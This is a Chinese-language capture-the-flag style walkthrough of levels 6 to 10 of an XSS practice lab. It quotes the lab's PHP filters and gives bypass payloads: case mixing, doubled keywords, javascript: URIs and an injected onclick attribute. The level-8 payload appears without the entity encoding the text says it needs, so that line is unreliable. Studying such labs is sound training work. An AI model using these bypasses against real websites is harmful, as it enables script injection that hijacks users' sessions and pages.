XSS挑战赛(2)

进入第六关

 

简单判断过滤情况

<>script"'/

查看源代码

2.png

可以看到第二个红框部分跟之前类似,闭合双引号尝试进行弹窗

"><script>alert(1)</script>

3.png

关键字被下划线分割了,尝试使用前一关的payload

"><a href="javascript:alert(1)">hi</a>

4.png

前一关的payload已经行不通了,猜测应该是后端过滤关键字变多。

尝试使用大小写进行突破

"><scRIpt>alert(1)</scRIpt>

成功通过

 

进入第七关

5.png

简单检测

<>script"'/

6.png

源代码value 中的script被替换成为了空,看到这种结果第一时间想到双写绕过

"><scscriptript>alert(1)</scscriptript>

成功绕过

7.png

 

第八关

8.png

简单进行检测

<>script"'/

结果为:

9.png

因为script被分割,所以也不能使用payload

javascript:alert(1)

同时尝试大小写绕过也无果

但是可以看出来,第一个红框中尖括号被过滤了,第二个红框中尖括号没有被过滤,可以猜测只有第一个输出点被XSS过滤函数过滤了,所以我们的突破点在第二个红框中。

关于该处的利用方式,在这篇博文中与相关的介绍:

https://0verwatch.top/xss-encodeorder.html

使用XSS编码来进行绕过

我们可以根据浏览器解析编码的顺序来触发XSS,因为后端是对敏感字符进行整体替换,所以进行编码后就可绕过

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

根据引用的那篇博文,我们可知浏览器如果要把HTML编码解析并且渲染前提必须要这种编码一定要在标签内某个属性里面才行。

编码网站:https://www.qqxiuzi.cn/bianma/zifushiti.php

所以最后的payload可为:(答案不唯一)

javascript:alert(1)

添加后点击友情链接即可XSS,其源码为:

<center><BR><a href="javascript:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>

进入第九关

后面部分关卡比较复杂,从源码分析绕过,贴出部分源码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

这里是基础的替换,跟上一关相同。

接着是本关特色,对于url合法性的判断:

if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

这里判断字符串中是否存在http://,存在的话就回到上一关的页面显示代码,所以我们只需要在payload里面找个合适的位置添加http://即可

javascript:alert`http://`

进入第十关

<?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str11 = $_GET["t_sort"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
?>

可以看到传入了 keyword 和 t_sort参数,对于 keyword 使用htmlspecialchars函数来进行过滤,对 t_sort 参数只是进行了简单的尖括号的替换,所以很明显突破点是在 t_sort 参数处。

仅仅是过滤了尖括号,我们使用事件来进行绕过

?keyword="well done!"&t_sort=" onclick=alert`1` " type="text"

为了最后能够点击,我们将类型设置为text即可。

 

参考链接:

https://0verwatch.top/xss-game.html

原文地址:https://www.cnblogs.com/Cl0ud/p/13474027.html